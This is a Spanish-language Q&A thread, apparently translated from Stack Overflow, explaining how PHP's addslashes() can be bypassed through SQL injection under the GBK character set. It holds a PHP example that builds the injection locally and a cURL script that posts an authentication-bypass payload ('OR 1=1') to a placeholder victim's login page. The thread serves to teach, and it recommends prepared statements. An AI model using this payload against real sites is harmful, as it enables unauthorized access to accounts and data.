¿Ejemplos de inyecciones SQL mediante addlashes()?
En PHP, sé que mysql_real_escape
es mucho más seguro que usar addslashes
. Sin embargo, no pude encontrar un ejemplo de una situación en la que addslashes
se pudiera realizar una inyección SQL.
¿Alguien puede dar algunos ejemplos?
Bueno, aquí tienes el artículo que quieres .
Básicamente, la forma en que funciona el ataque es poniendo addslashes()
una barra invertida en medio de un carácter multibyte de modo que la barra invertida pierda su significado al ser parte de una secuencia multibyte válida.
La advertencia general del artículo:
Este tipo de ataque es posible con cualquier codificación de caracteres donde haya un carácter multibyte válido que termine en
0x5c
, porqueaddslashes()
se puede engañar para crear un carácter multibyte válido en lugar de escapar de la comilla simple que sigue. UTF-8 no se ajusta a esta descripción.
Como complemento para los lectores de las respuestas aquí: este error de MySQL ya se ha solucionado :)
Además, siempre es una buena práctica utilizar declaraciones preparadas. Es la forma menos explotada de realizar consultas (y, en varios casos de uso, la de mayor rendimiento). Y te habría salvado de este defecto.
Chris Shiflett lo explica claramente con el siguiente ejemplo: Eso, por supuesto, funcionará si lo intenta cuando usa la codificación GBK en su base de datos. Incluso lo probé, esto demuestra que existen posibilidades de inyección SQL, aunque son muy pocas, pero alguien con buen conocimiento y capacidad puede inyectar fácilmente. Aquí hay un ejemplo...
<?php
$mysql = array();
$db = mysqli_init();
$db->real_connect('localhost', 'myuser', 'mypass', 'mydb');
/* SQL Injection Example */
$_POST['username'] = chr(0xbf) . chr(0x27) . ' OR username = username /*';
$_POST['password'] = 'guess';
$mysql['username'] = addslashes($_POST['username']);
$mysql['password'] = addslashes($_POST['password']);
$sql = "SELECT * FROM users
WHERE username = '{$mysql['username']}'
AND password = '{$mysql['password']}'";
$result = $db->query($sql);
if ($result->num_rows) {
/* Success */
} else {
/* Failure */
}
?>
Aunque el uso de addlashes() o magic_quotes_gpc normalmente se consideraría algo seguro, el uso de GBK los haría casi inútiles. El siguiente script PHP cURL podría hacer uso de la inyección, espero que esto te ayude a comprender un poco más:
<?php
$url = "http://www.victimsite.com/login.php";
$ref = "http://www.victimsite.com/index.php";
$session = "PHPSESSID=abcdef01234567890abcdef01";
$ch = curl_init();
curl_setopt( $ch, CURLOPT_URL, $url );
curl_setopt( $ch, CURLOPT_REFERER, $ref );
curl_setopt( $ch, CURLOPT_RETURNTRANSFER, TRUE );
curl_setopt( $ch, CURLOPT_COOKIE, $session );
curl_setopt( $ch, CURLOPT_POST, TRUE );
curl_setopt( $ch, CURLOPT_POSTFIELDS, "username=" . chr(0xbf) . chr(0x27) .
"OR 1=1/*&submit=1" );
$data = curl_exec( $ch );
print( $data );
curl_close( $ch );
?>